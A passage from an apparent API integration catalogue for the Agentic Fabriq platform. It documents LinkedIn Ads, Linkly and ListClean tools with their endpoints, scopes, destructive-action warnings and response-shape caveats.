direction. POST /api/v1/tools/linkedin_ads/pause-campaign-group. Scopes: rw_ads. linkedin_ads_pause_creative (write, destructive) — DESTRUCTIVE — stop serving one ad. Its campaign keeps delivering through whatever other creatives it has; pausing the last active creative on a campaign stops that campaign delivering entirely while leaving it reading ACTIVE, which is easy to misread. The inverse is activate_creative. POST /api/v1/tools/linkedin_ads/pause-creative. Scopes: rw_ads. linkedin_ads_reactivate_ad_account (write, destructive) — DESTRUCTIVE — return a cancelled ad account to ACTIVE. This is the inverse of cancel_ad_account and it is dangerous in the opposite direction: every campaign that was ACTIVE before the cancellation resumes delivering and resumes spending money, all at once, without any further call. Check what is under the account with list_campaigns first. POST /api/v1/tools/linkedin_ads/reactivate-ad-account. Scopes: rw_ads. linkedin_ads_remove_ad_account_user (write, destructive) — DESTRUCTIVE — remove a person's role on an ad account. They lose access to it in Campaign Manager immediately. If the person is the only remaining manager the account can be left unmanageable, and LinkedIn does not warn first — check with list_ad_account_users. Reversible with add_ad_account_user, which is the inverse. POST /api/v1/tools/linkedin_ads/remove-ad-account-user. Scopes: rw_ads. linkedin_ads_remove_companies_from_dmp_segment (write, destructive) — DESTRUCTIVE — remove companies from a matched audience. Shrinking it below LinkedIn's minimum match size makes it untargetable and stops delivery on campaigns using it. The inverse is add_companies_to_dmp_segment. POST /api/v1/tools/linkedin_ads/remove-companies-from-dmp-segment. Scopes: rw_dmp_segments. linkedin_ads_remove_conversion_from_campaign (write, destructive) — DESTRUCTIVE — detach a conversion rule from a campaign. The campaign keeps delivering and keeps spending; it simply stops attributing that outcome, so the campaign looks like it stopped working when what stopped was the measurement. The inverse is associate_conversion_with_campaign. POST /api/v1/tools/linkedin_ads/remove-conversion-from-campaign. Scopes: rw_conversions. linkedin_ads_remove_users_from_dmp_segment (write, destructive) — DESTRUCTIVE — remove people from a matched audience by hashed identifier. Shrinking a segment below LinkedIn's minimum match size makes it untargetable, which stops delivery on every campaign using it. The inverse is add_users_to_dmp_segment — but LinkedIn publishes no way to read a segment's members, so you can only put back identifiers you still hold yourself. POST /api/v1/tools/linkedin_ads/remove-users-from-dmp-segment. Scopes: rw_dmp_segments. linkedin_ads_resolve_targeting_urns (read) — Turn targeting URNs back into human-readable names. Use it to explain an existing campaign's targeting tree, which get_campaign returns as bare URNs that mean nothing on their own. POST /api/v1/tools/linkedin_ads/resolve-targeting-urns. Scopes: r_ads. linkedin_ads_send_conversion_events (write) — Send offline or server-side conversion events to LinkedIn so they can be attributed to advertising. THIS SENDS PERSONAL DATA ABOUT THE CUSTOMER'S OWN USERS TO LINKEDIN, and it cannot be taken back once sent. Identifiers must already be hashed — Agentic Fabriq accepts only SHA256_EMAIL (64 hex characters) and LinkedIn's first-party tracking UUID, verifies the hash shape before sending, and refuses plaintext IP addresses outright. Up to 5,000 events per call; LinkedIn allows 600 calls a minute and 500,000 a day per member. POST /api/v1/tools/linkedin_ads/send-conversion-events. Scopes: rw_conversions. linkedin_ads_set_campaign_bid (write, destructive) — DESTRUCTIVE — set the bid, the price this campaign is willing to pay per click, impression or view. Raising it does not raise the budget ceiling, but it spends the same budget faster and at a worse unit price; lowering it too far can stop the campaign winning any auctions at all, which looks like an outage. linkedin_ads_get_budget_pricing returns LinkedIn's own suggested range for the campaign's targeting. Its own inverse. POST /api/v1/tools/linkedin_ads/set-campaign-bid. Scopes: rw_ads. linkedin_ads_set_campaign_daily_budget (write, destructive) — DESTRUCTIVE — set the most this campaign may spend in a single day. RAISING IT AUTHORISES REAL SPEND, every day, until someone changes it back: the difference is not a one-off, it recurs. LinkedIn may also overdeliver a daily budget by up to 20% on any given day and settle over the campaign's life. This action is its own inverse — call it again with the previous figure. POST /api/v1/tools/linkedin_ads/set-campaign-daily-budget. Scopes: rw_ads. linkedin_ads_set_campaign_group_total_budget (write, destructive) — DESTRUCTIVE — set the total amount of money this campaign group may ever spend. RAISING IT AUTHORISES REAL SPEND: the difference between the old and new figure is money that can leave the customer's account, and LinkedIn will spend it without asking again. Lowering it below what has already been spent stops delivery. This action is its own inverse — call it again with the previous figure to put the ceiling back. POST /api/v1/tools/linkedin_ads/set-campaign-group-total-budget. Scopes: rw_ads. linkedin_ads_set_campaign_run_schedule (write, destructive) — DESTRUCTIVE — change when a campaign runs. Pushing the end date out authorises more days of spend; pulling it in stops delivery early. Agentic Fabriq requires an end date, so this action cannot be used to remove one and make the campaign open-ended. Its own inverse. POST /api/v1/tools/linkedin_ads/set-campaign-run-schedule. Scopes: rw_ads. linkedin_ads_set_campaign_total_budget (write, destructive) — DESTRUCTIVE — set the most this campaign may ever spend across its whole life. RAISING IT AUTHORISES REAL SPEND up to the new figure. Lowering it below what has already been spent stops delivery immediately. This action is its own inverse. POST /api/v1/tools/linkedin_ads/set-campaign-total-budget. Scopes: rw_ads. linkedin_ads_typeahead_targeting_entities (read) — Search for targeting values by name inside one facet — the way to resolve "Chief Marketing Officer" or "Acme Corp" into the URN targeting actually uses. Facets like job titles, skills and companies have far too many values to browse. POST /api/v1/tools/linkedin_ads/typeahead-targeting-entities. Scopes: r_ads. linkedin_ads_unarchive_campaign (write) — Bring an archived campaign back as a DRAFT. The inverse of archive_campaign. Nothing delivers or spends until activate_campaign is called, which is a separate grant. POST /api/v1/tools/linkedin_ads/unarchive-campaign. Scopes: rw_ads. linkedin_ads_unarchive_campaign_group (write) — Bring an archived campaign group back as a DRAFT. The inverse of archive_campaign_group. It does not resume delivery — nothing spends until activate_campaign_group is called, which is a separate grant. POST /api/v1/tools/linkedin_ads/unarchive-campaign-group. Scopes: rw_ads. linkedin_ads_unarchive_creative (write) — Bring an archived creative back as a DRAFT. The inverse of archive_creative. It does not resume serving — activate_creative is a separate grant. POST /api/v1/tools/linkedin_ads/unarchive-creative. Scopes: rw_ads. linkedin_ads_update_ad_account (write) — Change an ad account's name or its owning organization. Sends a Rest.li $set patch, so a field you do not name is left exactly as it was — this cannot null anything. Status is deliberately not settable here; use cancel_ad_account or reactivate_ad_account, which are granted separately. POST /api/v1/tools/linkedin_ads/update-ad-account. Scopes: rw_ads. linkedin_ads_update_ad_account_user_role (write, destructive) — DESTRUCTIVE — change what a person may do on an ad account. Narrowing a role can lock a colleague out of live campaigns mid-flight; widening one hands over the ability to spend. ACCOUNT_BILLING_ADMIN is not settable through Agentic Fabriq. POST /api/v1/tools/linkedin_ads/update-ad-account-user-role. Scopes: rw_ads. linkedin_ads_update_campaign (write) — Change a campaign's name, objective or optimization target. A $set patch, so nothing you do not name is touched — unlike a PUT, this cannot silently null a field. Budget, bid, schedule, targeting and status are each their own separately granted action because each of them changes what the campaign costs. POST /api/v1/tools/linkedin_ads/update-campaign. Scopes: rw_ads. linkedin_ads_update_campaign_group (write) — Change a campaign group's name or objective. A $set patch, so nothing you do not name changes. Budget, schedule and status are each their own action because each one moves money. POST /api/v1/tools/linkedin_ads/update-campaign-group. Scopes: rw_ads. linkedin_ads_update_campaign_targeting (write, destructive) — DESTRUCTIVE — REPLACE a campaign's whole audience definition. This is not a merge: the include and exclude sets you pass become the entire targeting, and anything you leave out is dropped. On a live campaign it redirects the remaining budget at a different audience immediately, so a mistake here spends real money on the wrong people — the budget still caps the amount, but not who sees it. Check the result with linkedin_ads_get_audience_count first, and read the existing tree with get_campaign so you can put it back. No confirmation token: the budget ceiling still bounds the loss, which is what separates this from the budget actions. POST /api/v1/tools/linkedin_ads/update-campaign-targeting. Scopes: rw_ads. linkedin_ads_update_conversion (write) — Rename a conversion rule, change its attribution windows, or enable and disable it. A $set patch, so nothing you do not name changes. Disabling a rule stops future attribution but does not delete history. POST /api/v1/tools/linkedin_ads/update-conversion. Scopes: rw_conversions. linkedin_ads_update_creative (write) — Point a creative at a different piece of content. A $set patch, so nothing else about the creative changes. Changing the content of a creative that is already serving sends it back through LinkedIn's review, so delivery pauses until it is approved again. Intended status is not settable here — use activate_creative or pause_creative. POST /api/v1/tools/linkedin_ads/update-creative. Scopes: rw_ads. linkedin_ads_update_dmp_segment (write) — Rename a matched audience. A $set patch; its members are not touched and no campaign using it is affected. POST /api/v1/tools/linkedin_ads/update-dmp-segment. Scopes: rw_dmp_segments. linkedin_ads_update_lead_form (write) — Change a lead gen form's name, headline, description or privacy policy link. A $set patch, so nothing you do not name changes. LinkedIn versions forms: editing one that is live creates a new version, and responses already collected stay attached to the version that collected them. POST /api/v1/tools/linkedin_ads/update-lead-form. Scopes: rw_ads. ================================================================================ ## Linkly URL: https://www.agenticfabriq.com/integrations/linkly Section: Integrated Tools Linkly — 26 MCP tools Provider key: linkly. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. linkly_delete_api_v1_link_by_link_id_webhooks_by_hook_id (write, destructive) — Stop sending one link's events to a webhook URL. `hook_id` is the webhook URL itself -- pass it exactly as List a link's webhooks returned it, unencoded; this integration percent-encodes it for the wire via DELETE /api/v1/link/{link_id}/webhooks/{hook_id} DELETE /api/v1/linkly/api/v1/link/{link_id}/webhooks/{hook_id}. Scopes: api. linkly_delete_api_v1_workspace_by_workspace_id_domains_by_domain_id (write, destructive) — Remove a custom domain from a workspace. Every short link already published on that domain STOPS RESOLVING -- this is not a soft delete and there is no restore for it via DELETE /api/v1/workspace/{workspace_id}/domains/{domain_id} DELETE /api/v1/linkly/api/v1/workspace/{workspace_id}/domains/{domain_id}. Scopes: api. linkly_delete_api_v1_workspace_by_workspace_id_links (write, destructive) — Move one or more links, named by id in the body, to the workspace's trash. Recoverable with Restore links via DELETE /api/v1/workspace/{workspace_id}/links DELETE /api/v1/linkly/api/v1/workspace/{workspace_id}/links. Scopes: api. linkly_delete_api_v1_workspace_by_workspace_id_links_by_id (write, destructive) — Move one link to the workspace's trash; recoverable with Restore links. Deleting a link already in the trash is a no-op that still answers 200, while an id absent from the workspace answers 404 via DELETE /api/v1/workspace/{workspace_id}/links/{id} DELETE /api/v1/linkly/api/v1/workspace/{workspace_id}/links/{id}. Scopes: api. linkly_delete_api_v1_workspace_by_workspace_id_webhooks_by_hook_id (write, destructive) — Stop sending a workspace's events to a webhook URL. `hook_id` is the webhook URL itself -- pass it exactly as List a workspace's webhooks returned it, unencoded; this integration percent-encodes it for the wire via DELETE /api/v1/workspace/{workspace_id}/webhooks/{hook_id} DELETE /api/v1/linkly/api/v1/workspace/{workspace_id}/webhooks/{hook_id}. Scopes: api. linkly_get_api_v1_conversions (read) — List a workspace's recorded conversions -- purchases, signups and custom events attributed to a link -- most recent first via GET /api/v1/conversions GET /api/v1/linkly/api/v1/conversions. Scopes: api. linkly_get_api_v1_get_link_by_id (read) — Read one link by id without naming its workspace, returned wrapped as `{"link": ...}`. Use Get a link when you have the workspace id via GET /api/v1/get_link/{id} GET /api/v1/linkly/api/v1/get_link/{id}. Scopes: api. linkly_get_api_v1_link_by_id (read) — Read one link in a workspace: destination, short URL, UTM parameters, rules and configuration. Click counts are NOT included -- use Get click analytics for a time series or List links for per-link totals via GET /api/v1/link/{id} GET /api/v1/linkly/api/v1/link/{id}. Scopes: api. linkly_get_api_v1_link_by_link_id_webhooks (read) — List the webhook subscriptions attached to one link. Each subscription's id IS its URL -- pass it back verbatim to unsubscribe via GET /api/v1/link/{link_id}/webhooks GET /api/v1/linkly/api/v1/link/{link_id}/webhooks. Scopes: api. linkly_get_api_v1_workspace_by_workspace_id_clicks (read) — Read a workspace's clicks as a time series, filtered by link, date range, country, browser, platform, referer or ISP, and optionally pivoted. Set `format` to `csv` or `tsv` for a non-JSON export via GET /api/v1/workspace/{workspace_id}/clicks GET /api/v1/linkly/api/v1/workspace/{workspace_id}/clicks. Scopes: api. linkly_get_api_v1_workspace_by_workspace_id_clicks_counters_by_counter (read) — Aggregate a workspace's clicks by one dimension (country, city, platform, referer, link_id, a UTM field and others), ordered by count descending. At most 10,000 groups are returned, while `total` always counts every click -- so a truncated result's `count` values sum to less than `total` via GET /api/v1/workspace/{workspace_id}/clicks/counters/{counter} GET /api/v1/linkly/api/v1/workspace/{workspace_id}/clicks/counters/{counter}. Scopes: api. linkly_get_api_v1_workspace_by_workspace_id_domains (read) — List the custom short-link domains configured on a workspace, which links in that workspace may use as their `domain` via GET /api/v1/workspace/{workspace_id}/domains GET /api/v1/linkly/api/v1/workspace/{workspace_id}/domains. Scopes: api. linkly_get_api_v1_workspace_by_workspace_id_links_export (read) — Export every link in a workspace, as JSON or as CSV. A `csv` export answers with CSV text rather than JSON, which this integration reports under a `raw` key via GET /api/v1/workspace/{workspace_id}/links/export GET /api/v1/linkly/api/v1/workspace/{workspace_id}/links/export. Scopes: api. linkly_get_api_v1_workspace_by_workspace_id_list_links (read) — List a workspace's links with their click totals, paginated and sortable, searchable by text and filterable on exact field matches (domain, slug and the five UTM fields). Pass `deleted=true` to list the trash instead via GET /api/v1/workspace/{workspace_id}/list_links GET /api/v1/linkly/api/v1/workspace/{workspace_id}/list_links. Scopes: api. linkly_get_api_v1_workspace_by_workspace_id_webhooks (read) — List the webhook subscriptions attached to a whole workspace. Each subscription's id IS its URL -- pass it back verbatim to unsubscribe via GET /api/v1/workspace/{workspace_id}/webhooks GET /api/v1/linkly/api/v1/workspace/{workspace_id}/webhooks. Scopes: api. linkly_get_api_v1_workspaces (read) — List every workspace this API key can reach, with its id and name -- the call that supplies the `workspace_id` most other tools take, and the one this integration probes a pasted key with via GET /api/v1/workspaces GET /api/v1/linkly/api/v1/workspaces. Scopes: api. linkly_patch_api_v1_workspace_by_workspace_id_domains_by_id_favicon (write) — Set the favicon URL a custom domain serves on its redirect pages via PATCH /api/v1/workspace/{workspace_id}/domains/{id}/favicon PATCH /api/v1/linkly/api/v1/workspace/{workspace_id}/domains/{id}/favicon. Scopes: api. linkly_post_api_v1_conversions (write) — Report a purchase, signup or custom event that happened after someone clicked a Linkly link. Attribution needs the `linkly_cid` the landing page captured; an unattributable conversion answers 202 with `attributed: false` and is DISCARDED rather than stored, so do not retry it. Pass `event_id` to make reporting idempotent via POST /api/v1/conversions POST /api/v1/linkly/api/v1/conversions. Scopes: api. linkly_post_api_v1_domains (write) — Add a custom short-link domain to a workspace named in the body. A CNAME record pointing at `domains.linklyhq.com` must already resolve, or Linkly refuses the domain via POST /api/v1/domains POST /api/v1/linkly/api/v1/domains. Scopes: api. linkly_post_api_v1_link (write) — Create a short link from `url` plus `workspace_id`, or update an existing one by passing its `id`. Carries custom slugs, UTM parameters, retargeting pixels, Open Graph metadata, expiry and redirect rules via POST /api/v1/link POST /api/v1/linkly/api/v1/link. Scopes: api. linkly_post_api_v1_link_by_link_id_webhooks (write) — Send this link's events to a URL: a POST for each `click`, plus `link.updated` and `link.deleted`. Branch on the JSON `event` field via POST /api/v1/link/{link_id}/webhooks POST /api/v1/linkly/api/v1/link/{link_id}/webhooks. Scopes: api. linkly_post_api_v1_links (write) — Create or update up to 1000 links in one request. The body is a JSON ARRAY whose items use the single-link schema -- include `id` to update, omit it to create, and give each item a `workspace_id`. Answers 200 even when some items fail, so inspect each result's own `status` via POST /api/v1/links POST /api/v1/linkly/api/v1/links. Scopes: api. linkly_post_api_v1_workspace_by_workspace_id_domains (write) — Add a custom short-link domain to the workspace named in the PATH. A CNAME record pointing at `domains.linklyhq.com` must already resolve, or Linkly refuses the domain via POST /api/v1/workspace/{workspace_id}/domains POST /api/v1/linkly/api/v1/workspace/{workspace_id}/domains. Scopes: api. linkly_post_api_v1_workspace_by_workspace_id_links (write) — Create a short link in the workspace named in the PATH, or update one by passing its `id`. The same shape as Create or update a link, with the workspace taken from the path instead of the body via POST /api/v1/workspace/{workspace_id}/links POST /api/v1/linkly/api/v1/workspace/{workspace_id}/links. Scopes: api. linkly_post_api_v1_workspace_by_workspace_id_links_restore (write) — Restore soft-deleted links by id, rebuilding each short URL from its preserved `full_url`. A link whose short URL has since been taken by a live link is skipped and reported under `conflicts` via POST /api/v1/workspace/{workspace_id}/links/restore POST /api/v1/linkly/api/v1/workspace/{workspace_id}/links/restore. Scopes: api. linkly_post_api_v1_workspace_by_workspace_id_webhooks (write) — Send every link's events in this workspace to a URL: a POST for each `click`, `link.created`, `link.updated` and `link.deleted`. Branch on the JSON `event` field via POST /api/v1/workspace/{workspace_id}/webhooks POST /api/v1/linkly/api/v1/workspace/{workspace_id}/webhooks. Scopes: api. ================================================================================ ## ListClean URL: https://www.agenticfabriq.com/integrations/listclean Section: Integrated Tools ListClean — 14 MCP tools Provider key: listclean. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. listclean_delete_lists_by_list_id (write, destructive) — Delete one email list and its verification results, via DELETE /lists/{list_id}. THE ONLY DESTRUCTIVE TOOL ON THIS PROVIDER, and it is permanent: ListClean publishes no recycle bin, no undelete and no trashed state -- the contract's only list states are `SUBMITTED`, `INPROCESS` and `COMPLETED` -- so the verified results go with the record and re-verifying those addresses spends the credits again. The reply is the envelope with a `message` ("Lists deleted successfully") and NO `data`, so it says nothing about what was removed; confirm by asking for the list again or by listing lists. `list_id` is refused unless it is a plain integer -- a DELETE whose path argument can change which endpoint it reaches is the worst place on this surface for an unguarded value. The success shape here is the vendor's published contract, not a measured reply: no ListClean credential existed for this build, so no 200 on this provider has been observed. DELETE /api/v1/listclean/lists/{list_id}. Scopes: api. listclean_get_account_profile (read) — Read the ListClean account's own profile and billing contact details, via GET /account/profile. `data` carries `name`, `address`, `city`, `country`, `phone_number`, `skype_id`, `company_name`, `website`, `twitter_handle`, `linkedin` and the three `billing_*` fields. THIS IS THE SUBSCRIPTION'S OWN PROFILE, not a contact record: an agent that mistakes it for a CRM entry is reading the customer's own billing details. The contract's documented 200 lists those thirteen fields and no credential -- but that is the vendor's document rather than a measurement, and no ListClean key existed for this build to look at a live reply, so whether this endpoint returns anything credential-shaped is UNKNOWN rather than answered. The trailing slash is not load-bearing here either (measured 2026-09-25: `/account/profile` and `/account/profile/` answer identically). Like every reply on this API it is an envelope: `success` (1 or 0, an INTEGER and not a boolean), a human `message`, usually an `error_code`, and the payload under `data`. The success shape here is the vendor's published contract, not a measured reply: no ListClean credential existed for this build, so no 200 on this provider has been observed. GET /api/v1/listclean/account/profile. Scopes: api. listclean_get_credits (read) — Read how many verification credits the ListClean account has left, via GET /credits. `data.credits` is the remaining balance. Like every reply on this API it is an envelope: `success` (1 or 0, an INTEGER and not a boolean), a human `message`, usually an `error_code`, and the payload under `data`. THIS IS ALSO THE CONNECTION'S HEALTH CHECK, and it is the endpoint the provider's credential declaration names: it is read-only and spends nothing, which is why it rather than a verification was chosen. ListClean meters verification by credit (its single-verification log records `credits_deducted`, normally 1 per address), so read 'Get remaining verification credits' before a bulk run rather than after. MEASURED 2026-09-25, and the reason this provider's key is stored UNVERIFIED rather than checked at the paste box: a bogus `X-Auth-Token`, an `Authorization: Bearer` value and no credential at all all answer 401 with the identical body `{"success":0,"error_code":0,"message":"Invalid token or token expired"}`, so this endpoint cannot tell a rejected key from an absent one, and no 200 has ever been observed on this provider. GET /api/v1/listclean/credits. Scopes: api. listclean_get_downloads_json_by_list_id_by_type (read) — Read one list's verified addresses of a given quality as JSON, via GET /downloads/json/{list_id}/{type}. THIS IS HOW THE VERDICTS COME BACK from a batch verification or a CSV upload. `type` selects the bucket -- `clean`, `dirty` or `unknown` -- and there is no 'all', so three calls read a whole list. Useful only once 'Get one email list' reports `status: COMPLETED`. The contract publishes no response schema for this route, so the reply's exact shape is unrecorded and no 200 has been observed. THE CSV SIBLING IS NOT SHIPPED: `GET /downloads/{list_id}/{type}` is the same data as a downloadable file (the vendor: "Download lists results as a csv file", answering a stream of octets), and this platform carries binary downloads only through a bounded artifact-transport contract this integration does not have, so it is emitted on no surface and refused by name if its id is guessed. Nothing is unreachable: this route addresses the identical three buckets of the identical list. THE CONTRACT ALSO DECLARES AN OPTIONAL `X-Auth-Token` QUERY PARAMETER ON THIS ROUTE AND IT IS DELIBERATELY ABSENT FROM THIS SCHEMA: that is the account's API key, the platform attaches the credential itself, and an argument that could set it would let a caller push their own key through this integration or put a live secret in a URL where access logs keep it. GET /api/v1/listclean/downloads/json/{list_id}/{type}. Scopes: api. listclean_get_lists (read) — List this account's email lists with their verification analytics, via GET /lists. `data` IS AN OBJECT HERE -- `total`, `cursor` and `lists[]` -- and each row carries `list_id`, `filename`, `size_in_bytes`, `request_time`, a `status` of `SUBMITTED`, `INPROCESS` or `COMPLETED`, a STRING `upload_id`, an `analytics` block (totals, duplicates, clean and dirty counts with percentages, and per-category breakdowns such as "Disposable Email" or "High Quality") and a `cost` block in INR and USD. THE CURSOR IS ADVERTISED AND UNREACHABLE: `data.cursor` comes back in the reply while the contract declares NO query parameter on this route, so there is no documented way to ask for the next page. If an account holds more lists than one call returns, this build cannot page them; that needed a live account to settle and is recorded rather than guessed. Note the shape difference from 'Get one email list', which returns `data[]` directly. Like every reply on this API it is an envelope: `success` (1 or 0, an INTEGER and not a boolean), a human `message`, usually an `error_code`, and the payload under `data`. The success shape here is the vendor's published contract, not a measured reply: no ListClean credential existed for this build, so no 200 on this provider has been observed. GET /api/v1/listclean/lists. Scopes: api. listclean_get_lists_by_list_id (read) — Read one list's status, analytics and cost, via GET /lists/{list_id}. The same per-list record 'List email lists' returns -- `filename`, `size_in_bytes`, `request_time`, `status`, `analytics` and `cost` -- BUT `data` IS AN ARRAY HERE, not an object: the listing wraps its rows in `data.lists[]` while this route returns `data[]` directly, as a one-element array. Read `data[0]`. THIS IS THE ROUTE TO POLL after 'Verify a batch of email addresses' or after a CSV upload finishes: `status` moves `SUBMITTED` -> `INPROCESS` -> `COMPLETED`, and the verdicts become readable with 'Get a list's verification results' once it is `COMPLETED`. Like every reply on this API it is an envelope: `success` (1 or 0, an INTEGER and not a boolean), a human `message`, usually an `error_code`, and the payload under `data`. The success shape here is the vendor's published contract, not a measured reply: no ListClean credential existed for this build, so no 200 on this provider has been observed. GET /api/v1/listclean/lists/{list_id}. Scopes: api. listclean_get_uploads (read) — List the chunked CSV uploads this account has started, via GET /uploads. Each entry is an `upload_id`, a `status` (contract example "COMPLETED") and a `progress` percentage. AN UPLOAD IS NOT A LIST: an upload is the file TRANSFER, and the verified list it produces is read with 'List email lists' -- see 'Get a CSV upload's status' for why the two id spaces cannot be assumed to match. THE TRAILING SLASH IS NOT LOAD-BEARING: the contract spells this route `/uploads/` and the research ledger `/uploads`; measured 2026-09-25 both answer identically for GET and POST (401 to a bogus key, where a path that does not exist answers 404 with an HTML error page), so this build ships the slash-less form. Like every reply on this API it is an envelope: `success` (1 or 0, an INTEGER and not a boolean), a human `message`, usually an `error_code`, and the payload under `data`. The success shape here is the vendor's published contract, not a measured reply: no ListClean credential existed for this build, so no 200 on this provider has been observed. GET /api/v1/listclean/uploads. Scopes: api. listclean_get_uploads_by_upload_id (read) — Read how far a chunked CSV upload has got, via GET /uploads/{upload_id}. `data.status` is `inprocess`, `success` or `error`; `data.progress` is a completion percentage; and `data.chunk_details` gives `total_chunk_count` beside `uploaded_chunk_count`, which is how you tell which chunks still have to be sent. Poll here between chunks and after the last one. THE THREE ID SPACES DO NOT LINE UP AND THIS BUILD DOES NOT GUESS: 'List CSV uploads' returns an INTEGER `upload_id` (contract example 1327), this route returns an integer `request_id` (example 312), and 'List email lists' returns an integer `list_id` (example 1) beside a STRING `upload_id` (example "Q1636218416-991025"). One field name, two types, and nothing in the contract says which maps to which -- so read the value out of the reply in hand rather than assuming one is another. Like every reply on this API it is an envelope: `success` (1 or 0, an INTEGER and not a boolean), a human `message`, usually an `error_code`, and the payload under `data`. The success shape here is the vendor's published contract, not a measured reply: no ListClean credential existed for this build, so no 200 on this provider has been observed. GET /api/v1/listclean/uploads/{upload_id}. Scopes: api. listclean_get_verify_email_by_email (read) — Verify a single email address and read its deliverability verdict, via GET /verify/email/{email}. `data.status` is `clean`, `dirty`, `unknown` or `error`, with `data.remarks` saying why (the contract's examples are "Email does not exists" and "Disposable Email"), beside `disposable`, `role_based`, `free_email`, `mx_found`, `mx_records`, `msp` (the mailbox provider, e.g. GMAIL) and the address split into `email_user` and `email_domain`. Like every reply on this API it is an envelope: `success` (1 or 0, an INTEGER and not a boolean), a human `message`, usually an `error_code`, and the payload under `data`. ListClean meters verification by credit (its single-verification log records `credits_deducted`, normally 1 per address), so read 'Get remaining verification credits' before a bulk run rather than after. FOR MORE THAN A HANDFUL OF ADDRESSES use 'Verify a batch of email addresses' instead -- this route is one call and one credit per address. THE ADDRESS IS A PATH SEGMENT, so the connector refuses a value carrying `/`, `?`, `#`, `\`, a `..` dot segment or a control character rather than sending it. That turns away a handful of syntactically legal addresses (RFC 5322 allows `/` and `?` in a local part) and it costs nothing real: measured 2026-09-25, `%2F` in this position answers 404 from ListClean's web server before the application sees it, so such an address cannot be verified through this route at all. The success shape here is the vendor's published contract, not a measured reply: no ListClean credential existed for this build, so no 200 on this provider has been observed. GET /api/v1/listclean/verify/email/{email}. Scopes: api. listclean_get_verify_email_logs (read) — Read the log of single-address verifications this account has run, via GET /verify/email/logs. One entry per 'Verify one email address' call: `id`, `entered` (the timestamp), `email`, `status`, `remarks`, `credits_deducted` and `error_code`. THIS IS WHERE THE CREDIT COST IS VISIBLE per verification. It covers the SINGLE-ADDRESS route only -- batch verifications and CSV uploads become lists instead, and are read with 'List email lists'. NO PAGINATION IS DOCUMENTED: the contract declares no query parameter on this route and the reply carries no cursor, so one call returns whatever it returns. Whether that is the whole log or a truncation could not be measured without a ListClean credential. Like every reply on this API it is an envelope: `success` (1 or 0, an INTEGER and not a boolean), a human `message`, usually an `error_code`, and the payload under `data`. The success shape here is the vendor's published contract, not a measured reply: no ListClean credential existed for this build, so no 200 on this provider has been observed. GET /api/v1/listclean/verify/email/logs. Scopes: api. listclean_post_account_profile (write) — Change the ListClean account's profile and billing contact details, via POST /account/profile. THE WIDEST WRITE ON THIS SURFACE, and it edits the SUBSCRIPTION rather than any customer record: the name, company, address, website and billing details on the ListClean account itself. Not marked destructive -- nothing is deleted -- but a careless call here rewrites the invoice contact. Every member is optional and whether an omitted one is preserved could not be measured, so send only what you mean to change. THE BODY IS CHECKED BEFORE THE CREDENTIAL ON THIS ONE ROUTE, measured 2026-09-25 and true nowhere else on this provider: no body answers 400 "No body provided", `{}` answers 400 "Body not in proper json format", and only a body with a real member reaches the credential and answers 401. So a 400 from this tool is about what you sent, never about the connection. Like every reply on this API it is an envelope: `success` (1 or 0, an INTEGER and not a boolean), a human `message`, usually an `error_code`, and the payload under `data`. The success shape here is the vendor's published contract, not a measured reply: no ListClean credential existed for this build, so no 200 on this provider has been observed. POST /api/v1/listclean/account/profile. Scopes: api. listclean_post_uploads (write) — Open a chunked CSV upload and get the `upload_id` its chunks are sent under, via POST /uploads. STEP ONE OF THREE, AND IT CARRIES NO FILE CONTENT -- it reserves the upload and returns `data.upload_id`. Then send each chunk with 'Send one chunk of a CSV upload' and watch 'Get a CSV upload's status'. `filename`, `file_type`, `total_chunk_count` and `max_chunk_size` are all required, which means THE SPLIT IS DECIDED BEFORE THE UPLOAD IS OPENED: the chunk count is declared here, not discovered later. `fast_process` is the option with consequences -- 1 skips SMTP probing and verifies from cache, DNS and format only, which is faster and less certain than the default 0. ListClean meters verification by credit (its single-verification log records `credits_deducted`, normally 1 per address), so read 'Get remaining verification credits' before a bulk run rather than after. Every address in the file costs one. Like every reply on this API it is an envelope: `success` (1 or 0, an INTEGER and not a boolean), a human `message`, usually an `error_code`, and the payload under `data`. The success shape here is the vendor's published contract, not a measured reply: no ListClean credential existed for this build, so no 200 on this provider has been observed. POST /api/v1/listclean/uploads. Scopes: api. listclean_post_uploads_by_upload_id (write) — Send one base64-encoded chunk of a CSV file to an open upload, via POST /uploads/{upload_id}. STEP TWO OF THREE. `chunk_sequence_number` and `content` are required; `content` is the chunk's bytes BASE64-ENCODED, and `md5_checksum` is the optional hash ListClean uses to check the chunk arrived intact -- send it. Chunks are addressed by sequence number, so one can be re-sent, and 'Get a CSV upload's status' reports `uploaded_chunk_count` against the total declared when the upload was opened. THIS IS THE ONE TOOL ON THIS PROVIDER THAT CARRIES BULK DATA IN AN ARGUMENT: a chunk is a base64 string in a JSON body, base64 inflates the bytes by about a third, and `max_chunk_size` was declared in bytes of the RAW slice rather than of this string. Like every reply on this API it is an envelope: `success` (1 or 0, an INTEGER and not a boolean), a human `message`, usually an `error_code`, and the payload under `data`. The success shape here is the vendor's published contract, not a measured reply: no ListClean credential existed for this build, so no 200 on this provider has been observed. POST /api/v1/listclean/uploads/{upload_id}. Scopes: api. listclean_post_verify_email_batch (write) — Submit up to 3,000 addresses for verification and receive the list id their results will appear under, via POST /verify/email/batch. ASYNCHRONOUS, AND IT RETURNS NO VERDICTS. The reply carries `data[].list_id` -- a LIST id, the same identifier 'List email lists' and 'Get one email list' use -- and the addresses are verified afterwards. Poll 'Get one email list' until its `status` reaches `COMPLETED` (the other values are `SUBMITTED` and `INPROCESS`), then read the verdicts with 'Get a list's verification results'. An agent that reads this reply expecting statuses will find an id and conclude the call failed. ListClean meters verification by credit (its single-verification log records `credits_deducted`, normally 1 per address), so read 'Get remaining verification credits' before a 